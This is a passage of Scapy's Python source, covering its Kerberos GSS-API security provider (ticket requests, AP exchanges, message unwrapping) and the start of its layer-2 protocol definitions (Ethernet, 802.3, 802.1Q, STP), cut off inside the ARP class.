NotImplementedError def GSS_UnwrapEx(self, Context, msgs, signature): """ [MS-KILE] sect 3.4.5.5 - AES: RFC4121 sect 4.2.6.2 - HMAC-RC4: RFC4757 sect 7.3 """ if Context.KrbSessionKey.etype in [17, 18]: # AES confidentiality = signature.root.Flags.Sealed # Real separation starts now: RFC4121 sect 4.2.4 if confidentiality: # 0. Concatenate the data Data = signature.root.Data Data += b"".join(x.data for x in msgs if x.conf_req_flag) # 1. Un-Rotate Data = strrot(Data, signature.root.RRC + signature.root.EC, right=False) # 2. Function to build 'ToSign', exclusively used for checksum def MakeToSign(Confounder, DecText): offset = 0 # 2.a Confounder ToSign = Confounder # 2.b Messages for msg in msgs: msglen = len(msg.data) if msg.conf_req_flag: ToSign += DecText[offset : offset + msglen] offset += msglen elif msg.sign: ToSign += msg.data # 2.c Filler & Padding ToSign += DecText[offset:] return ToSign # 3. Decrypt Data = Context.KrbSessionKey.decrypt( keyusage=Context.RecvSealKeyUsage, ciphertext=Data, presignfunc=MakeToSign, ) # 4. Split Data, f16header = ( Data[:-16], Data[-16:], ) # 5. Check header hdr = signature.copy() hdr.root.RRC = 0 if f16header != bytes(hdr)[:16]: raise ValueError("ERROR: Headers don't match") # 6. Split (and ignore filler) offset = 0 for msg in msgs: msglen = len(msg.data) if msg.conf_req_flag: msg.data = Data[offset : offset + msglen] offset += msglen # Case without msgs if len(msgs) == 1 and not msgs[0].data: msgs[0].data = Data return msgs else: # No confidentiality is requested # 0. Concatenate the data Data = signature.root.Data Data += b"".join(x.data for x in msgs if x.sign) # 1. Un-Rotate Data = strrot(Data, signature.root.RRC, right=False) # 2. Split Data, Mic = Data[: -signature.root.EC], Data[-signature.root.EC :] # "Both the EC field and the RRC field in # the token header SHALL be filled with zeroes for the purpose of # calculating the checksum." ToSign = Data hdr = signature.copy() hdr.root.RRC = 0 hdr.root.EC = 0 # Concatenate the data ToSign += bytes(hdr)[:16] # 3. Calculate the signature sig = Context.KrbSessionKey.make_checksum( keyusage=Context.RecvSealKeyUsage, text=ToSign, ) # 4. Compare if sig != Mic: raise ValueError("ERROR: Checksums don't match") # Case without msgs if len(msgs) == 1 and not msgs[0].data: msgs[0].data = Data return msgs elif Context.KrbSessionKey.etype in [23, 24]: # RC4 # Drop wrapping tok = signature.innerToken # Detect confidentiality confidentiality = tok.root.SEAL_ALG != 0xFFFF # 0. Concatenate data ToDecrypt = b"".join(x.data for x in msgs if x.conf_req_flag) Kss = Context.KrbSessionKey.key # 1. Compute the 'Kseq' key if Context.KrbSessionKey.etype == 24: # EXP Kseq = Hmac_MD5(Kss).digest(b"fortybits\x00" + b"\x00\x00\x00\x00") Kseq = Kseq[:7] + b"\xab" * 9 else: Kseq = Hmac_MD5(Kss).digest(b"\x00\x00\x00\x00") Kseq = Hmac_MD5(Kseq).digest(tok.root.SGN_CKSUM) # 2. Decrypt 'SND_SEQ' rc4 = Cipher(decrepit_algorithms.ARC4(Kseq), mode=None).encryptor() seq = rc4.update(tok.root.SND_SEQ)[:4] # 3. Compute the 'Kcrypt' key Klocal = strxor(Kss, len(Kss) * b"\xf0") if Context.KrbSessionKey.etype == 24: # EXP Kcrypt = Hmac_MD5(Klocal).digest(b"fortybits\x00" + b"\x00\x00\x00\x00") Kcrypt = Kcrypt[:7] + b"\xab" * 9 else: Kcrypt = Hmac_MD5(Klocal).digest(b"\x00\x00\x00\x00") Kcrypt = Hmac_MD5(Kcrypt).digest(seq) # 4. Decrypt if confidentiality: # 'encrypt' was requested rc4 = Cipher(decrepit_algorithms.ARC4(Kcrypt), mode=None).encryptor() Confounder = rc4.update(tok.root.CONFOUNDER) Data = rc4.update(ToDecrypt) # Split encrypted data offset = 0 for msg in msgs: msglen = len(msg.data) if msg.conf_req_flag: msg.data = Data[offset : offset + msglen] offset += msglen else: # 'encrypt' was not requested Confounder = tok.root.CONFOUNDER # 5. Verify SGN_CKSUM ToSign = _rfc1964pad(b"".join(x.data for x in msgs if x.sign)) Context.KrbSessionKey.verify_checksum( keyusage=13, # See errata text=bytes(tok)[:8] + Confounder + ToSign, cksum=tok.root.SGN_CKSUM, ) return msgs else: raise NotImplementedError def GSS_Init_sec_context( self, Context: CONTEXT, input_token=None, target_name: Optional[str] = None, req_flags: Optional[GSS_C_FLAGS] = None, chan_bindings: GssChannelBindings = GSS_C_NO_CHANNEL_BINDINGS, ): if Context is None: # New context Context = self.CONTEXT(IsAcceptor=False, req_flags=req_flags) if Context.state == self.STATE.INIT and self.U2U: # U2U - Get TGT Context.state = self.STATE.CLI_SENT_TGTREQ return ( Context, KRB_GSSAPI_Token( MechType="1.2.840.113554.1.2.2.3", # U2U innerToken=KRB_InnerToken( TOK_ID=b"\x04\x00", root=KRB_TGT_REQ(), ), ), GSS_S_CONTINUE_NEEDED, ) if Context.state in [self.STATE.INIT, self.STATE.CLI_SENT_TGTREQ]: if not self.UPN: raise ValueError("Missing UPN attribute") # Do we have a ST? if self.ST is None: # Client sends an AP-req if not self.SPN and not target_name: raise ValueError("Missing SPN/target_name attribute") additional_tickets = [] if self.U2U: try: # GSSAPI / Kerberos tgt_rep = input_token.root.innerToken.root except AttributeError: try: # Kerberos tgt_rep = input_token.innerToken.root except AttributeError: return Context, None, GSS_S_DEFECTIVE_TOKEN if not isinstance(tgt_rep, KRB_TGT_REP): tgt_rep.show() raise ValueError("KerberosSSP: Unexpected input_token !") additional_tickets = [tgt_rep.ticket] if self.TGT is None: # Get TGT. We were passed a kerberos key res = krb_as_req( upn=self.UPN, ip=self.DC_IP, key=self.KEY, password=self.PASSWORD, debug=self.debug, verbose=bool(self.debug), ) if res is None: # Failed to retrieve the ticket return Context, None, GSS_S_FAILURE # Update UPN (could have been canonicalized) self.UPN = res.upn # Store TGT, self.TGT = res.asrep.ticket self.TGTSessionKey = res.sessionkey elif self.TGTSessionKey is None: # We have a TGT and were passed its key self.TGTSessionKey = self.KEY # Get ST if not self.TGTSessionKey: raise ValueError("Cannot use TGT without the KEY") res = krb_tgs_req( upn=self.UPN, spn=self.SPN or target_name, ip=self.DC_IP, sessionkey=self.TGTSessionKey, ticket=self.TGT, additional_tickets=additional_tickets, u2u=self.U2U, debug=self.debug, verbose=bool(self.debug), ) if not res: # Failed to retrieve the ticket return Context, None, GSS_S_FAILURE # Store the service ticket and associated key Context.ST, Context.STSessionKey = res.tgsrep.ticket, res.sessionkey elif not self.KEY: raise ValueError("Must provide KEY with ST") else: # We were passed a ST and its key Context.ST = self.ST Context.STSessionKey = self.KEY if Context.flags & GSS_C_FLAGS.GSS_C_DELEG_FLAG: raise ValueError( "Cannot use GSS_C_DELEG_FLAG when passed a service ticket !" ) # Save ServerHostname if len(Context.ST.sname.nameString) == 2: Context.ServerHostname = Context.ST.sname.nameString[1].val.decode() # Build the KRB-AP apOptions = ASN1_BIT_STRING("000") if Context.flags & GSS_C_FLAGS.GSS_C_MUTUAL_FLAG: apOptions.set(2, "1") # mutual-required if self.U2U: apOptions.set(1, "1") # use-session-key Context.U2U = True ap_req = KRB_AP_REQ( apOptions=apOptions, ticket=Context.ST, authenticator=EncryptedData(), ) # Get the current time now_time = datetime.now(timezone.utc).replace(microsecond=0) # Pick a random session key Context.KrbSessionKey = Key.new_random_key( self.SKEY_TYPE, ) # We use a random SendSeqNum Context.SendSeqNum = RandNum(0, 0x7FFFFFFF)._fix() # Get the realm of the client _, crealm = _parse_upn(self.UPN) # Build the RFC4121 authenticator checksum authenticator_checksum = KRB_AuthenticatorChecksum( # RFC 4121 sect 4.1.1.2 # "The Bnd field contains the MD5 hash of channel bindings" Bnd=( chan_bindings.digestMD5() if chan_bindings != GSS_C_NO_CHANNEL_BINDINGS else (b"\x00" * 16) ), Flags=int(Context.flags), ) if Context.flags & GSS_C_FLAGS.GSS_C_DELEG_FLAG: # Delegate TGT raise NotImplementedError("GSS_C_DELEG_FLAG is not implemented !") # authenticator_checksum.Deleg = KRB_CRED( # tickets=[self.TGT], # encPart=EncryptedData() # ) # authenticator_checksum.encPart.encrypt( # Context.STSessionKey, # EncKrbCredPart( # ticketInfo=KrbCredInfo( # key=EncryptionKey.fromKey(self.TGTSessionKey), # prealm=ASN1_GENERAL_STRING(crealm), # pname=PrincipalName.fromUPN(self.UPN), # # TODO: rework API to pass starttime... here. # sreralm=self.TGT.realm, # sname=self.TGT.sname, # ) # ) # ) # Build and encrypt the full KRB_Authenticator ap_req.authenticator.encrypt( Context.STSessionKey, KRB_Authenticator( crealm=crealm, cname=PrincipalName.fromUPN(self.UPN), cksum=Checksum( cksumtype="KRB-AUTHENTICATOR", checksum=authenticator_checksum ), ctime=ASN1_GENERALIZED_TIME(now_time), cusec=ASN1_INTEGER(0), subkey=EncryptionKey.fromKey(Context.KrbSessionKey), seqNumber=Context.SendSeqNum, encAuthorizationData=AuthorizationData( seq=[ AuthorizationDataItem( adType="AD-IF-RELEVANT", adData=AuthorizationData( seq=[ AuthorizationDataItem( adType="KERB-AUTH-DATA-TOKEN-RESTRICTIONS", adData=KERB_AD_RESTRICTION_ENTRY( restriction=LSAP_TOKEN_INFO_INTEGRITY( MachineID=bytes(RandBin(32)), PermanentMachineID=bytes( RandBin(32) ), ) ), ), # This isn't documented, but sent on Windows :/ AuthorizationDataItem( adType="KERB-LOCAL", adData=b"\x00" * 16, ), ] + ( # Channel bindings [ AuthorizationDataItem( adType="AD-AUTH-DATA-AP-OPTIONS", adData=KERB_AUTH_DATA_AP_OPTIONS( apOptions="KERB_AP_OPTIONS_CBT" ), ) ] if chan_bindings != GSS_C_NO_CHANNEL_BINDINGS else [] ) ), ) ] ), ), ) Context.state = self.STATE.CLI_SENT_APREQ if Context.flags & GSS_C_FLAGS.GSS_C_DCE_STYLE: # Raw kerberos DCE-STYLE return Context, ap_req, GSS_S_CONTINUE_NEEDED else: # Kerberos wrapper return ( Context, KRB_GSSAPI_Token( innerToken=KRB_InnerToken( root=ap_req, ) ), GSS_S_CONTINUE_NEEDED, ) elif Context.state == self.STATE.CLI_SENT_APREQ: if isinstance(input_token, KRB_AP_REP): # Raw AP_REP was passed ap_rep = input_token else: try: # GSSAPI / Kerberos ap_rep = input_token.root.innerToken.root except AttributeError: try: # Kerberos ap_rep = input_token.innerToken.root except AttributeError: try: # Raw kerberos DCE-STYLE ap_rep = input_token.root except AttributeError: return Context, None, GSS_S_DEFECTIVE_TOKEN if not isinstance(ap_rep, KRB_AP_REP): return Context, None, GSS_S_DEFECTIVE_TOKEN # Retrieve SessionKey repPart = ap_rep.encPart.decrypt(Context.STSessionKey) if repPart.subkey is not None: Context.SessionKey = repPart.subkey.keyvalue.val Context.KrbSessionKey = repPart.subkey.toKey() # OK ! Context.state = self.STATE.CLI_RCVD_APREP if Context.flags & GSS_C_FLAGS.GSS_C_DCE_STYLE: # [MS-KILE] sect 3.4.5.1 # The client MUST generate an additional AP exchange reply message # exactly as the server would as the final message to send to the # server. now_time = datetime.now(timezone.utc).replace(microsecond=0) cli_ap_rep = KRB_AP_REP(encPart=EncryptedData()) cli_ap_rep.encPart.encrypt( Context.STSessionKey, EncAPRepPart( ctime=ASN1_GENERALIZED_TIME(now_time), seqNumber=repPart.seqNumber, subkey=None, ), ) return Context, cli_ap_rep, GSS_S_COMPLETE return Context, None, GSS_S_COMPLETE elif ( Context.state == self.STATE.CLI_RCVD_APREP and Context.flags & GSS_C_FLAGS.GSS_C_DCE_STYLE ): # DCE_STYLE with SPNEGOSSP return Context, None, GSS_S_COMPLETE else: raise ValueError("KerberosSSP: Unknown state") def GSS_Accept_sec_context( self, Context: CONTEXT, input_token=None, req_flags: Optional[GSS_S_FLAGS] = GSS_S_FLAGS.GSS_S_ALLOW_MISSING_BINDINGS, chan_bindings: GssChannelBindings = GSS_C_NO_CHANNEL_BINDINGS, ): if Context is None: # New context Context = self.CONTEXT(IsAcceptor=True, req_flags=req_flags) import scapy.layers.msrpce.mspac # noqa: F401 if Context.state == self.STATE.INIT: if self.UPN and self.SPN: raise ValueError("Cannot use SPN and UPN at the same time !") if self.SPN and self.TGT: raise ValueError("Cannot use TGT with SPN.") if self.UPN and not self.TGT: # UPN is provided: use U2U res = krb_as_req( self.UPN, self.DC_IP, key=self.KEY, password=self.PASSWORD, ) self.TGT, self.TGTSessionKey = res.asrep.ticket, res.sessionkey # Server receives AP-req, sends AP-rep if isinstance(input_token, KRB_AP_REQ): # Raw AP_REQ was passed ap_req = input_token else: try: # GSSAPI/Kerberos ap_req = input_token.root.innerToken.root except AttributeError: try: # Kerberos ap_req = input_token.innerToken.root except AttributeError: try: # Raw kerberos ap_req = input_token.root except AttributeError: return Context, None, GSS_S_DEFECTIVE_TOKEN if isinstance(ap_req, KRB_TGT_REQ): # Special U2U case Context.U2U = True return ( None, KRB_GSSAPI_Token( MechType="1.2.840.113554.1.2.2.3", # U2U innerToken=KRB_InnerToken( TOK_ID=b"\x04\x01", root=KRB_TGT_REP( ticket=self.TGT, ), ), ), GSS_S_CONTINUE_NEEDED, ) elif not isinstance(ap_req, KRB_AP_REQ): ap_req.show() raise ValueError("Unexpected type in KerberosSSP") if not self.KEY: raise ValueError("Missing KEY attribute") now_time = datetime.now(timezone.utc).replace(microsecond=0) # If using a UPN, require U2U if self.UPN and ap_req.apOptions.val[1] != "1": # use-session-key # Required but not provided. Return an error Context.U2U = True err = KRB_GSSAPI_Token( innerToken=KRB_InnerToken( TOK_ID=b"\x03\x00", root=KRB_ERROR( errorCode="KRB_AP_ERR_USER_TO_USER_REQUIRED", stime=ASN1_GENERALIZED_TIME(now_time), realm=ap_req.ticket.realm, sname=ap_req.ticket.sname, eData=KRB_TGT_REP( ticket=self.TGT, ), ), ) ) return Context, err, GSS_S_CONTINUE_NEEDED # Validate the 'serverName' of the ticket. sname = ap_req.ticket.getSPN() our_sname = self.SPN or self.UPN if not _spn_are_equal(our_sname, sname): warning("KerberosSSP: bad server name: %s != %s" % (sname, our_sname)) err = KRB_GSSAPI_Token( innerToken=KRB_InnerToken( TOK_ID=b"\x03\x00", root=KRB_ERROR( errorCode="KRB_AP_ERR_BADMATCH", stime=ASN1_GENERALIZED_TIME(now_time), realm=ap_req.ticket.realm, sname=ap_req.ticket.sname, eData=None, ), ) ) return Context, err, GSS_S_BAD_MECH # Decrypt the ticket try: tkt = ap_req.ticket.encPart.decrypt(self.KEY) except ValueError as ex: warning("KerberosSSP: %s (bad KEY?)" % ex) err = KRB_GSSAPI_Token( innerToken=KRB_InnerToken( TOK_ID=b"\x03\x00", root=KRB_ERROR( errorCode="KRB_AP_ERR_MODIFIED", stime=ASN1_GENERALIZED_TIME(now_time), realm=ap_req.ticket.realm, sname=ap_req.ticket.sname, eData=None, ), ) ) return Context, err, GSS_S_DEFECTIVE_CREDENTIAL # Store information about the user in the Context if tkt.authorizationData and tkt.authorizationData.seq: # Get AD-IF-RELEVANT adIfRelevant = tkt.authorizationData.getAuthData(0x1) if adIfRelevant: # Get AD-WIN2K-PAC Context.PAC = adIfRelevant.getAuthData(0x80) # Get AP-REQ session key Context.STSessionKey = tkt.key.toKey() authenticator = ap_req.authenticator.decrypt(Context.STSessionKey) # Compute an application session key ([MS-KILE] sect 3.1.1.2) subkey = None if ap_req.apOptions.val[2] == "1": # mutual-required appkey = Key.new_random_key( self.SKEY_TYPE, ) Context.KrbSessionKey = appkey Context.SessionKey = appkey.key subkey = EncryptionKey.fromKey(appkey) else: Context.KrbSessionKey = self.KEY Context.SessionKey = self.KEY.key # Eventually process the "checksum" if authenticator.cksum and authenticator.cksum.cksumtype == 0x8003: # KRB-Authenticator authcksum = authenticator.cksum.checksum Context.flags = authcksum.Flags # Check channel bindings if ( chan_bindings != GSS_C_NO_CHANNEL_BINDINGS and chan_bindings.digestMD5() != authcksum.Bnd and not ( GSS_S_FLAGS.GSS_S_ALLOW_MISSING_BINDINGS in req_flags and authcksum.Bnd == GSS_C_NO_CHANNEL_BINDINGS ) ): # Channel binding checks failed. return Context, None, GSS_S_BAD_BINDINGS elif ( chan_bindings != GSS_C_NO_CHANNEL_BINDINGS and GSS_S_FLAGS.GSS_S_ALLOW_MISSING_BINDINGS not in req_flags ): # Uhoh, we required channel bindings return Context, None, GSS_S_BAD_BINDINGS # Build response (RFC4120 sect 3.2.4) ap_rep = KRB_AP_REP(encPart=EncryptedData()) ap_rep.encPart.encrypt( Context.STSessionKey, EncAPRepPart( ctime=authenticator.ctime, cusec=authenticator.cusec, seqNumber=None, subkey=subkey, ), ) Context.state = self.STATE.SRV_SENT_APREP if Context.flags & GSS_C_FLAGS.GSS_C_DCE_STYLE: # [MS-KILE] sect 3.4.5.1 return Context, ap_rep, GSS_S_CONTINUE_NEEDED return Context, ap_rep, GSS_S_COMPLETE # success elif ( Context.state == self.STATE.SRV_SENT_APREP and Context.flags & GSS_C_FLAGS.GSS_C_DCE_STYLE ): # [MS-KILE] sect 3.4.5.1 # The server MUST receive the additional AP exchange reply message and # verify that the message is constructed correctly. if not input_token: return Context, None, GSS_S_DEFECTIVE_TOKEN # Server receives AP-req, sends AP-rep if isinstance(input_token, KRB_AP_REP): # Raw AP_REP was passed ap_rep = input_token else: try: # GSSAPI/Kerberos ap_rep = input_token.root.innerToken.root except AttributeError: try: # Raw Kerberos ap_rep = input_token.root except AttributeError: return Context, None, GSS_S_DEFECTIVE_TOKEN # Decrypt the AP-REP try: ap_rep.encPart.decrypt(Context.STSessionKey) except ValueError as ex: warning("KerberosSSP: %s (bad KEY?)" % ex) return Context, None, GSS_S_DEFECTIVE_TOKEN return Context, None, GSS_S_COMPLETE # success else: raise ValueError("KerberosSSP: Unknown state %s" % repr(Context.state)) def GSS_Passive( self, Context: CONTEXT, input_token=None, req_flags: Optional[GSS_S_FLAGS] = GSS_S_FLAGS.GSS_S_ALLOW_MISSING_BINDINGS, ): if Context is None: Context = self.CONTEXT(True) Context.passive = True if Context.state == self.STATE.INIT or ( # In DCE/RPC, there's an extra AP-REP sent from the client. Context.state == self.STATE.SRV_SENT_APREP and req_flags & GSS_C_FLAGS.GSS_C_DCE_STYLE ): Context, _, status = self.GSS_Accept_sec_context( Context, input_token=input_token, req_flags=req_flags, ) if status in [GSS_S_CONTINUE_NEEDED, GSS_S_COMPLETE]: Context.state = self.STATE.CLI_SENT_APREQ else: Context.state = self.STATE.FAILED elif Context.state == self.STATE.CLI_SENT_APREQ: Context, _, status = self.GSS_Init_sec_context( Context, input_token=input_token, req_flags=req_flags, ) if status == GSS_S_COMPLETE: if req_flags & GSS_C_FLAGS.GSS_C_DCE_STYLE: status = GSS_S_CONTINUE_NEEDED Context.state = self.STATE.SRV_SENT_APREP else: Context.state == self.STATE.FAILED else: # Unknown state. Don't crash though. status = GSS_S_FAILURE return Context, status def GSS_Passive_set_Direction(self, Context: CONTEXT, IsAcceptor=False): if Context.IsAcceptor is not IsAcceptor: return # Swap everything Context.SendSealKeyUsage, Context.RecvSealKeyUsage = ( Context.RecvSealKeyUsage, Context.SendSealKeyUsage, ) Context.SendSignKeyUsage, Context.RecvSignKeyUsage = ( Context.RecvSignKeyUsage, Context.SendSignKeyUsage, ) Context.IsAcceptor = not Context.IsAcceptor def LegsAmount(self, Context: CONTEXT): if Context.flags & GSS_C_FLAGS.GSS_C_DCE_STYLE: return 4 else: return 2 def MaximumSignatureLength(self, Context: CONTEXT): if Context.flags & GSS_C_FLAGS.GSS_C_CONF_FLAG: # TODO: support DES if Context.KrbSessionKey.etype in [17, 18]: # AES return 76 elif Context.KrbSessionKey.etype in [23, 24]: # RC4_HMAC return 45 else: raise NotImplementedError else: return 28 ================================================ FILE: scapy/layers/l2.py ================================================ # SPDX-License-Identifier: GPL-2.0-only # This file is part of Scapy # See https://scapy.net/ for more information # Copyright (C) Philippe Biondi """ Classes and functions for layer 2 protocols. """ import itertools import socket import struct import time from scapy.ansmachine import AnsweringMachine from scapy.arch import get_if_addr, get_if_hwaddr from scapy.base_classes import Gen, Net, _ScopedIP from scapy.compat import chb from scapy.config import conf from scapy import consts from scapy.data import ARPHDR_ETHER, ARPHDR_LOOPBACK, ARPHDR_METRICOM, \ DLT_ETHERNET_MPACKET, DLT_LINUX_IRDA, DLT_LINUX_SLL, DLT_LINUX_SLL2, \ DLT_LOOP, DLT_NULL, ETHER_ANY, ETHER_BROADCAST, ETHER_TYPES, ETH_P_ARP, ETH_P_MACSEC from scapy.error import ( ScapyNoDstMacException, log_runtime, warning, ) from scapy.fields import ( BCDFloatField, BitField, ByteEnumField, ByteField, ConditionalField, FCSField, FieldLenField, IP6Field, IPField, IntEnumField, IntField, LenField, MACField, MultipleTypeField, OUIField, ShortEnumField, ShortField, SourceIP6Field, SourceIPField, StrFixedLenField, StrLenField, ThreeBytesField, XByteField, XIntField, XShortEnumField, XShortField, ) from scapy.interfaces import _GlobInterfaceType, resolve_iface from scapy.packet import bind_layers, Packet from scapy.plist import ( PacketList, QueryAnswer, SndRcvList, _PacketList, ) from scapy.sendrecv import sendp, srp, srp1, srploop from scapy.utils import ( checksum, hexdump, hexstr, in4_getnsmac, in4_ismaddr, inet_aton, inet_ntoa, mac2str, pretty_list, valid_mac, valid_net, valid_net6, ) # Typing imports from typing import ( Any, Callable, Dict, Iterable, List, Optional, Tuple, Type, Union, cast, ) from scapy.interfaces import NetworkInterface if conf.route is None: # unused import, only to initialize conf.route import scapy.route # noqa: F401 # type definitions _ResolverCallable = Callable[[Packet, Packet], Optional[str]] ################# # Tools # ################# class Neighbor: def __init__(self): # type: () -> None self.resolvers = {} # type: Dict[Tuple[Type[Packet], Type[Packet]], _ResolverCallable] # noqa: E501 def register_l3(self, l2, l3, resolve_method): # type: (Type[Packet], Type[Packet], _ResolverCallable) -> None self.resolvers[l2, l3] = resolve_method def resolve(self, l2inst, l3inst): # type: (Packet, Packet) -> Optional[str] k = l2inst.__class__, l3inst.__class__ if k in self.resolvers: return self.resolvers[k](l2inst, l3inst) return None def __repr__(self): # type: () -> str return "\n".join("%-15s -> %-15s" % (l2.__name__, l3.__name__) for l2, l3 in self.resolvers) # noqa: E501 conf.neighbor = Neighbor() # cache entries expire after 120s _arp_cache = conf.netcache.new_cache("arp_cache", 120) @conf.commands.register def getmacbyip(ip, chainCC=0): # type: (str, int) -> Optional[str] """ Returns the destination MAC address used to reach a given IP address. This will follow the routing table and will issue an ARP request if necessary. Special cases (multicast, etc.) are also handled. .. seealso:: :func:`~scapy.layers.inet6.getmacbyip6` for IPv6. """ # Sanitize the IP if isinstance(ip, Net): ip = next(iter(ip)) ip = inet_ntoa(inet_aton(ip or "0.0.0.0")) # Multicast if in4_ismaddr(ip): # mcast @ mac = in4_getnsmac(inet_aton(ip)) return mac # Check the routing table iff, _, gw = conf.route.route(ip) # Limited broadcast if ip == "255.255.255.255": return "ff:ff:ff:ff:ff:ff" # Directed broadcast if (iff == conf.loopback_name) or (ip in conf.route.get_if_bcast(iff)): return "ff:ff:ff:ff:ff:ff" # An ARP request is necessary if gw != "0.0.0.0": ip = gw # Check the cache mac = _arp_cache.get(ip) if mac: return mac try: res = srp1(Ether(dst=ETHER_BROADCAST) / ARP(op="who-has", pdst=ip), type=ETH_P_ARP, iface=iff, timeout=2, verbose=0, chainCC=chainCC, nofilter=1) except Exception as ex: warning("getmacbyip failed on %s", ex) return None if res is not None: mac = res.payload.hwsrc _arp_cache[ip] = mac return mac return None # Fields class DestMACField(MACField): def __init__(self, name): # type: (str) -> None MACField.__init__(self, name, None) def i2h(self, pkt, x): # type: (Optional[Packet], Optional[str]) -> str if x is None and pkt is not None: x = None return super(DestMACField, self).i2h(pkt, x) def i2m(self, pkt, x): # type: (Optional[Packet], Optional[str]) -> bytes if x is None and pkt is not None: try: x = conf.neighbor.resolve(pkt, pkt.payload) except socket.error: pass if x is None: if conf.raise_no_dst_mac: raise ScapyNoDstMacException() else: x = "ff:ff:ff:ff:ff:ff" warning( "MAC address to reach destination not found. Using broadcast." ) return super(DestMACField, self).i2m(pkt, x) class SourceMACField(MACField): __slots__ = ["getif"] def __init__(self, name, getif=None): # type: (str, Optional[Any]) -> None MACField.__init__(self, name, None) self.getif = (lambda pkt: pkt.route()[0]) if getif is None else getif def i2h(self, pkt, x): # type: (Optional[Packet], Optional[str]) -> str if x is None: iff = self.getif(pkt) if iff: x = resolve_iface(iff).mac if x is None: x = "00:00:00:00:00:00" return super(SourceMACField, self).i2h(pkt, x) def i2m(self, pkt, x): # type: (Optional[Packet], Optional[Any]) -> bytes return super(SourceMACField, self).i2m(pkt, self.i2h(pkt, x)) # Layers HARDWARE_TYPES = { 1: "Ethernet (10Mb)", 2: "Ethernet (3Mb)", 3: "AX.25", 4: "Proteon ProNET Token Ring", 5: "Chaos", 6: "IEEE 802 Networks", 7: "ARCNET", 8: "Hyperchannel", 9: "Lanstar", 10: "Autonet Short Address", 11: "LocalTalk", 12: "LocalNet", 13: "Ultra link", 14: "SMDS", 15: "Frame relay", 16: "ATM", 17: "HDLC", 18: "Fibre Channel", 19: "ATM", 20: "Serial Line", 21: "ATM", } ETHER_TYPES[0x88a8] = '802_1AD' ETHER_TYPES[0x88e7] = '802_1AH' ETHER_TYPES[ETH_P_MACSEC] = '802_1AE' class Ether(Packet): name = "Ethernet" fields_desc = [DestMACField("dst"), SourceMACField("src"), XShortEnumField("type", 0x9000, ETHER_TYPES)] __slots__ = ["_defrag_pos"] def hashret(self): # type: () -> bytes return struct.pack("H", self.type) + self.payload.hashret() def answers(self, other): # type: (Packet) -> int if isinstance(other, Ether): if self.type == other.type: return self.payload.answers(other.payload) return 0 def mysummary(self): # type: () -> str return self.sprintf("%src% > %dst% (%type%)") @classmethod def dispatch_hook(cls, _pkt=None, *args, **kargs): # type: (Optional[bytes], *Any, **Any) -> Type[Packet] if _pkt and len(_pkt) >= 14: if struct.unpack("!H", _pkt[12:14])[0] <= 1500: return Dot3 return cls class Dot3(Packet): name = "802.3" fields_desc = [DestMACField("dst"), SourceMACField("src"), LenField("len", None, "H")] def extract_padding(self, s): # type: (bytes) -> Tuple[bytes, bytes] tmp_len = self.len return s[:tmp_len], s[tmp_len:] def answers(self, other): # type: (Packet) -> int if isinstance(other, Dot3): return self.payload.answers(other.payload) return 0 def mysummary(self): # type: () -> str return "802.3 %s > %s" % (self.src, self.dst) @classmethod def dispatch_hook(cls, _pkt=None, *args, **kargs): # type: (Optional[Any], *Any, **Any) -> Type[Packet] if _pkt and len(_pkt) >= 14: if struct.unpack("!H", _pkt[12:14])[0] > 1500: return Ether return cls class LLC(Packet): name = "LLC" fields_desc = [XByteField("dsap", 0x00), XByteField("ssap", 0x00), ByteField("ctrl", 0)] def l2_register_l3(l2: Packet, l3: Packet) -> Optional[str]: """ Delegates resolving the default L2 destination address to the payload of L3. """ neighbor = conf.neighbor # type: Neighbor return neighbor.resolve(l2, l3.payload) conf.neighbor.register_l3(Ether, LLC, l2_register_l3) conf.neighbor.register_l3(Dot3, LLC, l2_register_l3) COOKED_LINUX_PACKET_TYPES = { 0: "unicast", 1: "broadcast", 2: "multicast", 3: "unicast-to-another-host", 4: "sent-by-us" } class CookedLinux(Packet): # Documentation: http://www.tcpdump.org/linktypes/LINKTYPE_LINUX_SLL.html name = "cooked linux" # from wireshark's database fields_desc = [ShortEnumField("pkttype", 0, COOKED_LINUX_PACKET_TYPES), XShortField("lladdrtype", 512), ShortField("lladdrlen", 0), StrFixedLenField("src", b"", 8), XShortEnumField("proto", 0x800, ETHER_TYPES)] class CookedLinuxV2(CookedLinux): # Documentation: https://www.tcpdump.org/linktypes/LINKTYPE_LINUX_SLL2.html name = "cooked linux v2" fields_desc = [XShortEnumField("proto", 0x800, ETHER_TYPES), ShortField("reserved", 0), IntField("ifindex", 0), XShortField("lladdrtype", 512), ByteEnumField("pkttype", 0, COOKED_LINUX_PACKET_TYPES), ByteField("lladdrlen", 0), StrFixedLenField("src", b"", 8)] class MPacketPreamble(Packet): # IEEE 802.3br Figure 99-3 name = "MPacket Preamble" fields_desc = [StrFixedLenField("preamble", b"", length=8), FCSField("fcs", 0, fmt="!I")] class SNAP(Packet): name = "SNAP" fields_desc = [OUIField("OUI", 0x000000), XShortEnumField("code", 0x000, ETHER_TYPES)] conf.neighbor.register_l3(Dot3, SNAP, l2_register_l3) class Dot1Q(Packet): name = "802.1Q" aliastypes = [Ether] fields_desc = [BitField("prio", 0, 3), BitField("dei", 0, 1), BitField("vlan", 1, 12), XShortEnumField("type", 0x0000, ETHER_TYPES)] deprecated_fields = { "id": ("dei", "2.5.0"), } def answers(self, other): # type: (Packet) -> int if isinstance(other, Dot1Q): if ((self.type == other.type) and (self.vlan == other.vlan)): return self.payload.answers(other.payload) else: return self.payload.answers(other) return 0 def default_payload_class(self, pay): # type: (bytes) -> Type[Packet] if self.type <= 1500: return LLC return conf.raw_layer def extract_padding(self, s): # type: (bytes) -> Tuple[bytes, Optional[bytes]] if self.type <= 1500: return s[:self.type], s[self.type:] return s, None def mysummary(self): # type: () -> str if isinstance(self.underlayer, Ether): return self.underlayer.sprintf("802.1q %Ether.src% > %Ether.dst% (%Dot1Q.type%) vlan %Dot1Q.vlan%") # noqa: E501 else: return self.sprintf("802.1q (%Dot1Q.type%) vlan %Dot1Q.vlan%") conf.neighbor.register_l3(Ether, Dot1Q, l2_register_l3) class STP(Packet): name = "Spanning Tree Protocol" fields_desc = [ShortField("proto", 0), ByteField("version", 0), ByteField("bpdutype", 0), ByteField("bpduflags", 0), ShortField("rootid", 0), MACField("rootmac", ETHER_ANY), IntField("pathcost", 0), ShortField("bridgeid", 0), MACField("bridgemac", ETHER_ANY), ShortField("portid", 0), BCDFloatField("age", 1), BCDFloatField("maxage", 20), BCDFloatField("hellotime", 2), BCDFloatField("fwddelay", 15)] class ARP(Packet): name = "ARP" fields_desc = [ XShortEnumField("hwtype", 0x0001, HARDWARE_TYPES), XShortEnumField("ptype", 